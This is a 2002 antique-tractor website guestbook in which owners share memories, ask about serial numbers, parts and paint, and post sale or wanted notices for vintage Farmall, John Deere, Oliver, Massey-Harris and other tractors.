Phil Roberson wrote on Thursday, September 12, 2002 (PDT):My father purchased a 1964 wide front end RU gas 2010 new in late 1963. It has been garaged on our farm ever since. I have the 307 gyra-mower that he purchased with the tractor. We have used the 2010 for mowing and trailer hauling for 38 years with no problems. It is all original except for the battery, starter, and front tires. I have other tractors, but I love the 2010. It was my father's favorite, and I will never part with it.
Ben wrote on Wednesday, September 11, 2002 (PDT):I have a B, s/n FAB163629, built in 1946, I think. The distributor is vertical rather than horizontal. I have never seen this on an IH tractor before. Anybody have an idea of what the significance of this is?
John McMillen wrote on Tuesday, September 10, 2002 (PDT): Have just bought back a Oliver 550 Special that was in the family for years,I would like to restore it , does anyone have a good source for parts in Canada , she'llneed everything from rims to the grill, thanks in advance if anyone can help.
Donald Wilson wrote on Tuesday, September 10, 2002 (PDT): First tractor I ever drove, the D, nothing would stop it,I had to stop at the end of the field and turn the wheels and then start again,was a promblem turning around until I got stronger.once some custom cutters was cutting wheat they were told to stay out of the low spot, and they didnt they came and took our JD 70/and the ford tractor/ got them stuck also/as they dint know how to start the D,they came to town and got me. I went and started the D, and then hooked on to the ford,that was chained to the 70 that was chained to the combine,and then pulled the whole mess out !
Dan Jones wrote on Monday, September 09, 2002 (PDT):I have a tractor just like the one pictured but originally painted red and no water pump. How can I fine the manufacture. date?
John Elwell wrote on Monday, September 09, 2002 (PDT):I need a motor for my G. What model or size Continental motor was used? any ideas about a suitable replacement motor? Thanks for any help. I live in New England. John
John Elwell wrote on Monday, September 09, 2002 (PDT):I need a motor for my G. What model or size Continental motor was used? any ideas about a suitable replacement motor? Thanks for any help. I live in New England. John
Delbert Ledbetter wrote on Monday, September 09, 2002 (PDT):I have just purchased a fertilize spreader for a McCormick tractor. I need to refurbish it and I would like to know what color to paint it and also where to get a decal. Thanks so much for any information you might be able to give me.
Greg McGlynn wrote on Sunday, September 08, 2002 (PDT):looking at purchasing a "B" the owner said the top left side of the block had cracked (due to frozen water) he bolted aplate over it with a gasket said he's had no trouble with it leaking. Should I be concerned with the crak ? will this plate contiue to hold ?
Jim Pickens wrote on Saturday, September 07, 2002 (PDT):Drove one like this many hours. Not by choise but we farmed with it. Better than walking behind a mule. Nice looking tractor. Thanks for sharing. Jim - West Tennessee
Jim wrote on Saturday, September 07, 2002 (PDT):One of a kind 560D. 80HP w/ M&W turbo, new 16.9X38 Firestone ALL-Traction, bolt-on axle duals, 3 pt. fast hitch, 2 remotes, weights. Set up for 30' row spacing. This tractor doesn't fool around, pulls 7 shank chisel, field cult. w/ rolling baskets, 5-16's, or you can buy it and just play around and look at it like it's a 69 Chevy SS or something.
Harlan Mehlhop wrote on Friday, September 06, 2002 (PDT):I have a Allis G and am looking for a blade as an attachment, where can I find one and what can I expect to pay? Thanks in advance......Harlan
R. A. Hale wrote on Thursday, September 05, 2002 (PDT):I purchased a 1950 TO-20 in the spring of this year. Ihave used it to raise 1/2 acre veg. garden and have raised tobacco crop this year. It runs and works great. It was partially restored but the name plates for the side of the hood are missing. I checked with the local Massey dealer and they have a Part number but it is no longer available. Any info on where to order restoration parts would be greatly apprecated Thanks, Rob S.E. Ky.
Larry Wait wrote on Thursday, September 05, 2002 (PDT):We bought our Oliver 550 brand new in 1961. At the time we were farming 173 acres with only one 1951 Oliver 88. The 550 was used for just about everything except fitting. The 88 pulled 3-14's as a trailer in 4th gear, and the 550 3-14's as a full mounted plow in 3rd. Our soils are clay loam. When the 550 was new you could steer it with one finger without power steering. Then several years latter we put a loader on it and eventually that abuse messed up the steering. We should have put power steering on it. I still have the tractor and I am considering getting a finish mower for it. I is a darn good little tractor.
Steve Davis wrote on Thursday, September 05, 2002 (PDT):I bought a 47 Leader Model D last October. It had set in a barn for about 10 years and had not been run. It was pure rust but solid. I thought it would be a fun project to bring the old gal back to life. Only took a few hours to get it running but had to break the tractor in half to unfreeze the clutch. After fixing the clutch, I started cleaning and repainting. I also had to have the hydraulics overhauled due to pitting and leaking around the shaft. I finished the project in time to run it in the local 4th of July parade. Pulled a wagon full of cub scouts. Henry, you seem to be the Leader King. I would like to exchange email photos of my Leader with you if you would like. Let me know.
Arden McClure wrote on Wednesday, September 04, 2002 (PDT):Can anyone identify a tractor? I think it was a Case tractor. It was very strange looking, with a rear engine with transmission combined. The seat was in front of the engine with wide front wheels. There was just a light frame (as I remember mostly two curved "pipes" to the front. Most of the implements were mounted under the seat and in front of the engine. The rear tires were quire narrow for tractor tires. It was built for truck farming or large gardens. The one I remember was mostly used for light utility work and mowing on a college campus. I think it may have been built shortly before WW2, but I remember it from the late '50's. I found it interesting, and so remember its main features. It was much shorter (obviously very compact) but in the same power range as a farmall A (around 18 hp.) Thanks to anyone who can identify it or better yet provide a picture.
Ron Nuckles wrote on Wednesday, September 04, 2002 (PDT):I'm atempting to repair a farmall c built somewhere between 1947 and 1951. the ser.# is 61993, might make it a 1950. This tractor belongs to my pastor, and i would like very much to be able to fix it for him. I'm looking for a Rockford or atwood clutch, pressure plate and throughout bearing. can any one direct me to where i might be able to find these parts? thanks much, Ron
David Sherman wrote on Tuesday, September 03, 2002 (PDT):I've blown the engine in my 2010 diesel backhoe and need to either rebuild or replace it. I haven't had any luck finding a good used engine. Seems to be a lot of people think that engine wasn't very good, and so far I can't disagree. Does anyone know where I might get a decent 2010 diesel engine in Washington or Idaho, or do you know of a source of rebuild parts other then JD themselves? Also, do any other engines fit? The backhoe is an additional complication with an engine swap because the hydraulic pump drives off the front end of the crank and my tranny has no PTO in it.
André Wessels wrote on Monday, September 02, 2002 (PDT):I intend shipping my old tractors to the USA from South Africa. I have a Farmall B in running original condition - worn tires. Anyone interested ?
Leonard Rahilly wrote on Sunday, September 01, 2002 (PDT):A neighbor of the farm where I grew up in NJ had two Titans. In my memory (about 1940 on), he used one of them only to disk up corn stubble. Claimed the angle lugs were great for chewing up the corn stalks AND the narrow tread was exactly right for riding on the ridge made by the corn rows. I think he may have used the tractor on the belt, also. It is not apparent from looking at the tractor, but the two cranks are on the "same throw." This gives even firing (unlike the John Deere, where firing intervals are uneven), but means there is a terrific front-and-back rocking movement from the momentum of the crank and the counter weights. Another interesting thing about this tractor is that it put out about 28 hp on the belt, on kerosene, but around 12 (as I remember) on the drawbar. Chain drive and the lack of ball and roller bearings in the transmission are probably responsible for the great loss of engine power. This tractor is always shown pulling three-bottom plows, but with that little drawbar horsepower, we know that the tractor was moving very slowly. I think high gear (there were only 2 gears) was under three mph. This jibes with some research I've seen, done around 1920, showing plow draft at different speeds. The McCormick-Deering 10-20 I grew up with would handle only 2 14" plows, because it pulled in second at about 3.25 mph, where the plow draft is just high enough to keep it from pulling three bottoms. The Titan could pull the three because it was moving a good deal more slowly. Fascinating machine, with all those moving valve leaders, flywheels and things hanging out. Cranking is a joy; Big crank put on the left flywheel, and pulled DOWN toward the front of the tractor. Couldn't break your arm, although I'd want to make sure the flywheel shaft had a little oil on it so that the crank couldn't be spun around and then come off and clunk someone in the head!
brian jensen wrote on Sunday, September 01, 2002 (PDT):up here in alberta canada i have restored 1955 standard 70tractor.i have won several pulling compitionings. but now i have just bought a 830 d and look out that rest of you.i love the hop they do when running slow.
Travis Hake wrote on Sunday, September 01, 2002 (PDT):I bought a vao at a sale recently and I was wondering what the letters stood for? Also the the plate with the serial number says its a vao but the decals say vac. IS that right or just a mistake by the previous owner? Any help would be appreacited. This is my first case tractor. The rest are either Farmall,Ford,or Massey Harris.
Gail K. Lemon wrote on Saturday, August 31, 2002 (PDT):To the Harris Hater who wrote Aug. 11,02 You are somewhat right..About the Farmall Cub. THEY ARE SWEET and I have been looking to buy one for sometime, but looking for "that deal". We have Several tractors from8 to 9-N Fords to Allis Chalmbers to Farmalls and today we purchased a Massey Harris Pony.. WITH hydraulics.My husband has looked for years for one ad it is nice. But to us as "intitled to our opinion". The ugliest tractor ever made was a John Deere. Specially the old ones. What a yecky color green. (Sorry if I hurt anyones feelings.) Gail L.
Ken Kucille wrote on Friday, August 30, 2002 (PDT):Does anyone know what the part #'s are for the oil filter and spark plugs for a 81S? There seems to be some confusion re; the color of the engine? Red or Black?
Don Davidson wrote on Thursday, August 29, 2002 (PDT):I had both an "80" pony start and an "830" 24v direct start when I was farming here in western ND. Both were great tractors. I had a 9ft dozer blade on the "80" because I could always get it started in the winter with the pony start. My "830" looked as good as the one in the picture. They were both great pullers!!! And they sounded great!! As good as any Harley!!
Ed.S wrote on Wednesday, August 28, 2002 (PDT):To ID your Ford Tractor 1953 to 1962,try Yahoo search,type in, THE VINTAGE FORD TRACTOR RESOURCE,paint schemes,SOS troubleshooting,emblems etc.can be found on this site.
Mark Vandaele wrote on Wednesday, August 28, 2002 (PDT):Our family worked the land for many years using the reliable power of Minneapolis Moline Tractors. My Grandfather Harry Vandaele owned one of the first diesal tractors from MM. This tractor is now on display at the museum in Austin MB. My Uncle Glenn Vandaele proudly drove this tractor in the 100th centeniall celebration in Medora MB where the Vandaele has farmed for several generations. My father Vern Vandaele started his farming days with a G900 and even today nearly 30 years later a G1000 owned by my Grandfather has been pulled out of retirment and assists by running a grain auger in the busy season. My son Cole, now the fourth generation of Vandaele's is excited to ride the old "U" one day in the parade at Austin MB.
Octo Pus wrote on Wednesday, August 28, 2002 (PDT):I used to know this old man that had a John Deere but after having 21 heart attacks he gave it to his loser grandson. I hate kittens and John Deere Tractors. God Bless, Chimpanzees
Mike Kennis wrote on Wednesday, August 28, 2002 (PDT):I broke my leg in 3 places when I stepped off the rear axle of my super C, it damn near ripped my leg off. My wife is making me sell the tractor in October, if you want the wheel your welcomed to it.
Brad wrote on Tuesday, August 27, 2002 (PDT):We have a Massey 44-6 the ser number is 44-6-GR 3798 it is a great tractor. If anyone could help me with information on years and options i would appreciate it.
Martin Harangozo wrote on Tuesday, August 27, 2002 (PDT):I used to have an O-14 I bought in 1980 at age 17 for $500. It ran excellent. It pulled a two bottom 12" plow easily. My uncle teased be about this tractor (for reasons I never understood), so I took it to a junkyard and scrapped it. Now I wish I still had it. It had fenders in the back down to the drawbar, and in front to the frame. Regards -Martin
lewis hoffman wrote on Monday, August 26, 2002 (PDT):lokking for information on a 1920's or 1930's standard tiwn walk behind tractor manufactor was standard engine copamy minneapolis,minn.
Joe Koenig wrote on Sunday, August 25, 2002 (PDT):Dear Dave In the late thirties, I grew up on a farmall regular, would love to have one now, but no place in town to put one. One good way to tell a regular, on the on the end of the steering shaft is an open gear. The later f-21 had an enclosed gear box. Also the tranny is a 3 speed. On ours, the magneto hsfd as little gear called a kick gear. If that was in th up position when you cranked, you might go over the moon. Hope this helps you identify the tractor, but surely by now you have had several responses. I have no idea what one is worth, I guess the buyer decides that!! Good Luck. Joe
Jacob Bowers wrote on Sunday, August 25, 2002 (PDT):Have a w4 farmall and I still use it on the farm today and take it to tractor pulls. I have to say after sitting in a building for 8 years it cranks over just fine
Jim Samson wrote on Sunday, August 25, 2002 (PDT):My last name is Samson. I just learned about this Tractor (Samson Iron Hourse). I was wondering were I could find out about the history of the Samson company.
Mitch wrote on Sunday, August 25, 2002 (PDT):i am 15 years old and am looking for a running tractor for a small budget> I am in western wisconsin and am looking for a tractor somewhere close to this area if anyone has a tractor email me with more info and price thanks please include where you live
Bruce Turner wrote on Sunday, August 25, 2002 (PDT):I bought a retired 30 twenty years ago and used it to bush hog 13 acres 3 or 4 times a year. The only time I had trouble with it, was when water got down the exaust pipe one winter and rusted one cylinder bad. I freed it up changed the rings in that cylinder and ran it another 10 years with absolutely no trouble. I am told the old girl is worth as much now as when I bought it. I would like to see it restored but I have no patience with that kind of stuff.
Eric Gardner of Hilton NY wrote on Saturday, August 24, 2002 (PDT):I have a VAI like this one with the straight axel on the front. I have a Woods 750 Back Hoe on it. This is a nice compliment to the LULL front end loader that came on it. I am looking for a spindle for the Right front. Mine broke at the outboard bearing. Anyone knows where I can find a good one let me know. Thank You ~Eric Gardner~
mario zamudio maasberg wrote on Saturday, August 24, 2002 (PDT): solicito informacion de donde podria comprar la bomba del hidraulico para un tractor ford super dexta le agradecere mucho la informacion
Gene Launt wrote on Saturday, August 24, 2002 (PDT):I have a 9N,casting D176, which leads me to believe the date of production in December 17, 1946. The serial number is either 9N218492 or 9N2T8492. If anyone could help me I would like to know the right serial number. The 1 or T dosen't look right as either, but it is the closest I can come to for that space. The 2 speed transmission, high/low on the left side, I am having trouble getting it to work. Is there any advise for this problem?
Winslow Jones wrote on Saturday, August 24, 2002 (PDT):My dad owned one of these tractors in the late '30's. I would dearly like to have some pictures of this tractor and be put in touch with someone who could lead me to more pictures of McCormick equipment of that era.
Charles Langley wrote on Friday, August 23, 2002 (PDT): I'm from La, and we have a 1933 john deere tractor with steele wheels and the 2 two cyl and the only thing wrong with it it needs to be timed and she will run again we call it JOHNNY "POP". we are about to sell "ole" Johnny and try to buy a new jonn deere 790 model . we didn't want to sell "ole" johnny pop but we have to have a newer madel to mow our property. thanks bigben.
Cheryl Walter wrote on Thursday, August 22, 2002 (PDT):Alberta, Canada; My dad has restored a Massey Harris 44 Diesel Row Crop Model 44C1RF and is looking to find out the value of this tractor to sell. The tractor has its original tires, though we're not even sure what year this tractor would be. We can partially read a serial number, or perhaps it is the complete serial number - 44529. If anyone can give us an idea of its value, or a web-site or place to contact to have this tractor evaluated, we certainly would appreciate it. Thanks!
Peter wrote on Wednesday, August 21, 2002 (PDT):My father-in-law owns an International 350 Utility with Power Amplifier. Does anyone know what horsepower they got? The tach shows 2400 hours. Any idea on the value?
Dave Rohrbacher wrote on Wednesday, August 21, 2002 (PDT):I am looking for a project Low Boy for my Son and I. Going to re-build to be used weekly or as needed as we build our house. Please keep in mind the availability of parts. What years would you suggest I start looking for? Thanks Dave
Tim Heudecker wrote on Tuesday, August 20, 2002 (PDT):I am looking to buy a orginal carberator for my 57 international harvester lo boy tractor . Hope some one can help and let me know where to get it . Thank you .Tim
Rick wrote on Tuesday, August 20, 2002 (PDT):I have a 560 Farmall wide front, gas, runs strong burns no oil. Power steering,TA works great. Great sheetmetal, good rubber,fair paint. Has quick hitch with lift arms and three point hookup, IH 5'blade,quick attach carryall,quick attach drawbar. needs starter,will pull start. 3900 for all. 40 miles south of Branson Mo.(870)420-3324 rbright at alltel.net
John wrote on Tuesday, August 20, 2002 (PDT):I would like to know where to find the serial number tag on the JD 60 ORCHARD.Also how many years did they make this model and where they all 2 cylinders with hand clutches?..My Uncle used this tractor for many years and the engine sound is unmistakable..He passed away a few years ago and my brother and I would like to restore this tractor..The tractor has be sitting for a long time but is restorable but the tractor has been repainted a couple of times and I have no idea where to find the tag if it stll has one.If not how would i be able to tell what model year it is..Thanks very much for any info anyone can give me..John...
Terry Smith wrote on Monday, August 19, 2002 (PDT): I was looking at the AC B tractor, and it brought back many nice memories. My Grandfather had 2 tractors for his farm. This modle and the larger WC. Both were trycicle tractors, and magneto ignition. The larger WC was crank started, the smaller AC B was 6 volt starter, or crank. I spent many days on the AC B fixing fence, pulling a wagon with posts, wire, and tools. It was a wonderful small tractor for the work around Grandpas farm. I regret now that Grandpa sold both tractors in very good working condition over 20 years ago. They would be a prize to cherish, along with all the fond memories of sitting beside Grandpa as a child on that AC B's bench seat. Terry Smith.
Charles Lawrence wrote on Monday, August 19, 2002 (PDT):I have a model L 1941, fantastic condition, orginal tyres, engine just totally rebuilt. I want to buy a side belt pulley attachment to create an electric start. I am in the UK. Has anyone got one? Good price paid including shipment, customs clearance. Can arrange freight collection, custome etc etc.
Allen meyer wrote on Sunday, August 18, 2002 (PDT):I was given a 60 row crop. I really don't much about it. I need the fire order for it and any ideas why it will not fire. The tractor is in good condtion. It needs a paint job and the side fenders near the motor.
mike johnson wrote on Saturday, August 17, 2002 (PDT):I have a cockshutt 30 that the pto slips and will not shut off. How do I fix this problem. I restored this tractor and use in tractor pulls in Southern Indiana. It pulls in 5500 lbs class but we're to small to win just having fun. I must dyno tractor or they won't let me pull. Any ideas would greatly be used. Thanks
Doug Kleindl wrote on Saturday, August 17, 2002 (PDT):Have a F12 my Dad had it in the 100th celibration in 1978 the old sign made for it says it is a 1928 model S/N FS1122 like to know what color and year it is. Want to paint befor the 125TH celibration in july4th week end 2003. Some guys in the area are trying to get 125 tractor to gether for the paraid eny info will help. THANKS YOU MUCH.
Daniel Whitlow wrote on Saturday, August 17, 2002 (PDT):my grandpa has a 1949 JD R. evry year i drive it through my home town parade.my grandpa also takes it to tractor pulls and always finishes in the top ten.
BOB CABLE wrote on Saturday, August 17, 2002 (PDT):Looking for D-19 for possible restoration
Cameron wrote on Friday, August 16, 2002 (PDT):I picked up a 1958 971 SOS about a year ago to level and pull stumps on the homestead here in Alaska. Nice tractor with a lot more power than a 8N or Jubilee, actualy a little over kill on the power, have snapped several lift arms. I took out several dozen 12"-30" birch/spruce stumps with a sub-soiler and box blade. As far as tranny problems; alot of times it's only the selector handle out of adjustment and not engageing intended "notch" correctly. I have to agree with most of the other comments; SOS's make for great collectibles but if you are really going to work it, play it safe and stick with the gears.
Jody wrote on Thursday, August 15, 2002 (PDT): Well where do I start?Ok I have done lots of searching into the Pacer # 16 which I own have found out lots of thing.Every place I looked for info on the age no body was sure they said they only built them a short time.Well I found some one who knew he was a dealer in the late 40's and now his grandson and son run the dealership.He told me that Massey only offered the Pacer for 2 years which was 54&55 he even dug up his archives for me.They where the original priceing books for the dealers.That tell them price of tractor plus how much each option cost so they could tell the customer how much the tractor was going to cost.Well maybe I'm wrong but I needed to get that off my chest because that little wonder of a machine I've been with for 33 years now and it has never said no to anything that I have asked from it from plowing snow to bailng hay to plowing fields(not big ones).My grandfather purchased it for his little farm the spring of 54 it never saw the show room it was shipped directly to the farm and was preped there and in use that day pulling a speed sprayer.Alright I stop now thanks for reading what I wrote sorry it was so long.
chris wrote on Thursday, August 15, 2002 (PDT):I have A 1948 massey tractor with disc and two other attachments . send e-mail if wanting to make serious offer ...
Denis Michaud wrote on Wednesday, August 14, 2002 (PDT):Hey.. I spent a lot of hours on a 820 between 1965 and 1970 on my father's farm. I loved that tractor. It sounded powerful and was powerful. I impressed a lot of my city slicker friends with the gas starting motor, it made everything look complicated and made me look like an engineer!
Denis Michaud wrote on Wednesday, August 14, 2002 (PDT):Hey.....I learned how to dribe a tractor using my father's ''D'', gasoline powered 1949 model with no hydraulics. Clutch was a particular ease in then push for full engage.
Jack Miller wrote on Wednesday, August 14, 2002 (PDT):That picture is not a Cub Lowboy. It looks to me to be just a Cub.
mike worrell wrote on Tuesday, August 13, 2002 (PDT):My father recently bought a model 48D leader serial# 2027. Mr. hahn could you please e-mail me any info you have? Also anyone else feel free to send me any info you have it will be much appreciated. We are trying to find parts for this tractor specifically the right tire rim and plate. The one we have is corroded.
mike worrell wrote on Tuesday, August 13, 2002 (PDT):My father recently bought a model 48D leader serial# 2027. Mr. hahn could you please e-mail me any info you have? Also anyone else feel free to send me any info you have it will be much appreciated. We are trying to find parts for this tractor specifically the right tire rim and plate. The one we have is corroded.
Bob Taylor wrote on Monday, August 12, 2002 (PDT):I have what I think is a 1959 501 offset tractor I bought from my motherinlaw. I would like to get pictures from all angles to learn how to paint it, and a price of what it should be worth. It runs great but needs brakes and some work on the hydraulics.
virgil reinig wrote on Monday, August 12, 2002 (PDT):my dad had a vc in indiana on the farm during ww2 used it for everything they were super for there horse power . i would like to find a vac with wide front andeagle hitch in good condition with history if possible, would take narrow front would like it to be the last year they were built , i think that was 1955 to 1957 take serial # and subtract 4 from first 2 #s and that will be date built tel. # 260-627-2491 thanks
Virgil Reinig wrote on Monday, August 12, 2002 (PDT):i would like to know what was the last year they built the vac ? also want to buy a vac with eagle hitch and hyd. and wide front if posible must be in good condition would like to have histoy if posible tel. #260-627-2491 thanks.
Andrew Nuckolls wrote on Monday, August 12, 2002 (PDT):hello nice tractor i have a question which motor is in the super 99 Olivers the 371 detroit or the 471?
Mike Sitton wrote on Sunday, August 11, 2002 (PDT):I have a General tractor my neighbor gave me, in Mississippi. It has one iron lug wheel and one rubber tired wheel on the back. Anyone close to have one?
John B........ wrote on Saturday, August 10, 2002 (PDT):The "Iron Horse" was produced at the Sampson plant in janesville wisconsin. and days ahead of the unveiling of the new line of tractor, it had rained a bunch, and the leather drive belts had shrunk up so bad that once the tractors were started for the show, the operator was unable to manover the machine and it fliped over on the city hall steps. shortly after, the iron horse's days were short. There are a few of these rare machines around, Iowa, etc, I have some very rare Sampson items, if any one is interested........ J.B.
Rob Sura wrote on Saturday, August 10, 2002 (PDT):I own John Deere R S/N-15015 Restoring it in my spare time,overhaul has been done,front bushing's need replaceing will have to weight until next year.am useing it spring and fall.
Valerie Clark wrote on Saturday, August 10, 2002 (PDT):I am so happy to see my family's Star Drilling Machine in the background of this Russell picture. It sure brings back some great memories. My Grandfather, Harry Robinson, passed away Dec 25, 2001, and I am sure he would be very happy to know that someone (Vonzapp) recognized it. If anyone can recommend a way to find out how one goes about appraising something like this, please let me know. Thank you again.
Valerie Clark wrote on Saturday, August 10, 2002 (PDT):I am so happy to see my family's Star Drilling Machine in the background of this Russell picture. It sure brings back some great memories. My Grandfather, Harry Robinson, passed away Dec 25, 2001, and I am sure he would be very happy to know that someone (Vonzapp) recognized it. If anyone can recommend a way to find out how one goes about appraising something like this, please let me know. Thank you again.
Valerie Clark wrote on Saturday, August 10, 2002 (PDT):I am so happy to see my family's Star Drilling Machine in the background of this Russell picture. It sure brings back some great memories. My Grandfather, Harry Robinson, passed away Dec 25, 2001, and I am sure he would be very happy to know that someone (Vonzapp) recognized it. If anyone can recommend a way to find out how one goes about appraising something like this, please let me know. Thank you again.
Jeff wrote on Saturday, August 10, 2002 (PDT):I have recently acquired a 55 and I'm in the process of restoration. Everything is great on itbut the transmission. Where the brake shaft goes into the right side is broke out. I was wondering if any other models used the same transmissions, such as the 33s or 44s. If anyone can answer this question or has any idea where to locate one I would appreciate it.
jason marks of hereford pa wrote on Friday, August 09, 2002 (PDT):my father own about 11 oliver tractors and i own 3. a few years ago my brother talked me into buying a john deere 440 trackloader, something i didn't want. what i would really like to have is an oliver oc-6 gas or desiel, because of the model 77 engine used and the fact that it has both live pto and hydraulics. but i will take any oliver or cletrac crawler i can get, plus i'll even give the john deere 440 as trade. if anyone is has one for me let me know.
Jack LIllar wrote on Friday, August 09, 2002 (PDT):I bought what Iwas told to be a 1952 WD.The serial # in front of the gear shift,A-LE-RC 200931.The # should have been back buy the brake adjusting plate.What do I have?What are distingguishing features between WD andWD-45? Thanks much Jack in Michigan
Phillip Curtis wrote on Tuesday, August 06, 2002 (PDT):I own a model R SN 16396. My tractor driver drove it with out water. The engine froze up. I am looking for parts.
Pastor Rick Taylor wrote on Tuesday, August 06, 2002 (PDT):I'm purchasing a '63 JD 2010 and would like to put on power steering. Can anyone give me some advice? I'm a tractor novice.
Bob Nash wrote on Tuesday, August 06, 2002 (PDT): I have a 1948 BF Avery Model A For Sale. The tractor is in great shape and is ready to show. I am asking $3,400 but would be willing to consider any reasonable offer. The tractor's serial # is 16A 153D for its rare dual front wheel configuration.
Len Freeman wrote on Monday, August 05, 2002 (PDT):We had a 10-20, 2 H's which we still own, some M's and then several other later model IH machines, but I got to drive our neighbors F-20 on several occassions when I was a teen. My favorite part was the automatic brakes - some of you will remember - when the fron wheeel turned just so far it pulled a cable that engaged the brake on the appropriate side. Do that real fast and man what a ride. The 20 was not for the faint of heart. I'm almost done restoring a 1938 JD model D. I can hardly wait to get back to something red - maybe an F-30.
Raymond Wagner wrote on Sunday, August 04, 2002 (PDT):I am looking at a 60 to62 ac d15 diesel it runs has front end loader and good rubber little rusty but all there.Need to know good price to offer owner
Marv Dennis wrote on Saturday, August 03, 2002 (PDT):I have a 1948 CUB all refurbished to orignal condition. Had it all restored for sentimental reasons (used to be my Dad's) I am now in the process of moving and need to sell it. Any one interested may contact me at m e-mail address and I'd be happy to send yusome photos.
shannon wrote on Friday, August 02, 2002 (PDT):Just bought a 1952 77 RC diesel. Not the easiest thing to start but runs great. I'm looking for side curtains, a 3-point hitch and a wide front end to fit it. I live in southern Indiana and bush-hogging with a tricycle tractor ain't no fun.
Dewaine wrote on Thursday, August 01, 2002 (PDT):I use to work for a farmer who had the 50 diesel. I almost brought a sping tooth drag up over the outside duel of this tractor. Fortunately I was looking to the inside of my turn and was able shut it down in time
Allen Suderman wrote on Wednesday, July 31, 2002 (PDT):I would like to buy a 9N or 8N tractor in running condition. I live in Southern California, so I would prefer to find one in the West if possible. Please email me if you have one for sale.
Steven Snelson wrote on Wednesday, July 31, 2002 (PDT):I own a SC and I'm havin a hard time finding parts for it.I need a set of rings.Also I need a hand crank.I'm not sure of the bore and stroke. I will add my serial number soon I'm still trying to figure it out.I also need to know the exact color of the paint that should be on it.If anyone could help me with these things I would greatly apreciate it.Thanks. -Steven
Jim Coleman wrote on Wednesday, July 31, 2002 (PDT):Interested in purchasing a "G" model with mower in north Georgia area. Does anyone know of a loction and price. Also would like any attachments, especially cultivators and turning plows.
Scott Bowden wrote on Wednesday, July 31, 2002 (PDT):I was wondering if a version of the D17 was built with a single front wheel. I'm trying to identify this old AC I have. Someone once told me it was a D17.
Calvin Schmidt wrote on Tuesday, July 30, 2002 (PDT):The first tractor I purchased when I started farming in 1975 was a D-21 series II serial 3327. I sold it in 1980 at Yoder&Frey in Archibald Ohio. Any help or leads to find this tractor would be appreciated.
chad ryan wrote on Tuesday, July 30, 2002 (PDT):I have a lp gas 730 that i use ever day in the hay field. For the money this is by for the best tractor I own.
Jim Broughton wrote on Monday, July 29, 2002 (PDT):To; James Barrett Your tractor was produced about mid-year in 1959, so depending on the selling dealer could be a 1959 or 1960 model..it should have fast-tach hydraulics on it..it sounds very similar to mine..also a 1959 model. Good luck with it. Jim
Craig Beacock wrote on Monday, July 29, 2002 (PDT): I have just bought a 1939 Case D Trator. And was wondering if it is the same as the DI,DC. To young to know. If there is a differents Thanks
Don wrote on Monday, July 29, 2002 (PDT):My father-in-law purchased a CockShutt 30 and Cockshutt 20 to restore. He is having difficulty locating a paint color for them. Just wondering if anyone has the paint color for either of these tractors.
Bummie wrote on Monday, July 29, 2002 (PDT):We have a 1917 8-16 IH tractor in running condition. Grandpa is curious as to how many 1917's are still in existence. Does anyone know, or have an idea of how we could find out?
Zach wrote on Sunday, July 28, 2002 (PDT):hey everyone, we bought a 48 SC last fall, the paint was restored, and most of the engine was also, but did not run right. Well yesterday me and my dad worked on it all day, ajusting the valves, new plugs, fixed altonator, cleaned air filter, worked on brakes. Now she runs like a million dollars
ed wrote on Sunday, July 28, 2002 (PDT):I don't own a tractor. Not that I would mind owning a tractor or anything, it's just that I don't really need a tractor right now. I need land first - we only have one half acre. Does anyone have any advice?
Robert Fellers wrote on Sunday, July 28, 2002 (PDT):I have a fully restored 1949 Cub that is the talk of the antique tractors show in our area. Have recently purchased a 1948 Cub to also restore. It needs a seat. Anyone in the Dayton, Ohio area know where one might be found?
James Barrett wrote on Saturday, July 27, 2002 (PDT):I have purchased a Farmall Cub with ser. #212988 J. I think I have found that the J stands for Rockford Clutch, but can not find out what year the tractor was made. The tractor has a sideplate that says McCormick Farmall and (2) small ovals that say cub. Can anyone tell me what year this tractor was made? Thanks!
Bob Ricklefsen wrote on Saturday, July 27, 2002 (PDT):Have ford 2000 tractor, 3 cyl.gas. Waster pump leaking, Purchased a new one and decided to replace it myself. I have the tractor in my garage at home. Have started to work on removing it to replace3 it. Ran into a problem and need help. Have removed the outside cover on the engine, and trying to get the old one. What do I need to do to get the old one out and the new one in? Have taken the altinator off and have 5 bolts on the water pump out at the top. I need help to know what to do next. Does the radiator need to be remove. Have removed the altinator. Will I hsve ro remore anythimg moe at the spesent tike. Beem on the all afternoon and most of this morning. Help..
Henry Baskeyfield wrote on Friday, July 26, 2002 (PDT):i just bought a cub tractor not sure what year it is the sideplate says mccormick framall on it it has a international plate on the front and two small ovals ont the front sides that say cub can any one help me indentfy the year or tell me where to go to find out
Eli C. Gingerich wrote on Friday, July 26, 2002 (PDT):I just bought a Oliver 60 row crop, it is very neer complete in the restoring process. I had this tractor in the early 80's and my brother got it, but now I have it back. It is a sweet tractor.
Albert Newton wrote on Friday, July 26, 2002 (PDT):I have a leader tractor. It runs good. I would like how they are worth because they are an antique. I am going to be putting mine in a car and tractor show in october. If anybody has any ifor on the worth of these tractors please let me know. Albert Newton
Warren Darcey wrote on Thursday, July 25, 2002 (PDT):I own a 1953 super C. This is one fine tractor, though it could use a paint job.I would also like to know where i might fine decals, where as all the idenifiction names are wore-out with time. I also may be interested in selling this tractor due to failing health. She is in Very good condition thru out. I live in Northport Alabama (next door to Tuscaloosa. ROLL TIDE!!!
Richard wrote on Thursday, July 25, 2002 (PDT):My father farmed with John Deere equipment, but my grandfather's largest tractor at the time was a ZAU. I remember this tractor real well. I spent many hours on it with grandpa. I hope to find it soon and bring it home.
Robert Bryson wrote on Thursday, July 25, 2002 (PDT):I have a massey-harris (pacer) need (2) brake shoes & linings, also (4) springs for brake shoes
Robert Bryson wrote on Thursday, July 25, 2002 (PDT):I have a massey-harris (pacer). Any parts out there. Thanks
Tim Ingles wrote on Wednesday, July 24, 2002 (PDT): I have just bought one of these muscle machines, having freed the motor we are rebuilding her. Looking for spare parts, I need an air cleaner stack,and bottom bowl.it is not on it's original manifolds, I would like to put her back to kerosene if possible. Any help appreciated.Thanks
john wrote on Tuesday, July 23, 2002 (PDT):ihave the opportuniy to purchase a 770 with a loader from a reliable friend that say it is in excellent shape for 2800.00.Is thia a good deal? It doesny have a 3 point or power steering. Can these be added and for how much is so. As this is my first tractor I would appreciate any info. thanks.
John Hardy wrote on Tuesday, July 23, 2002 (PDT):My son and I just acquired what we believe to be a 1937 F-12 in fairly good shape. Ser # FS91061. I'm looking for the best manuals we can get to overhaul and restore to original. Any help at all would be appreciated, as we are beginners.
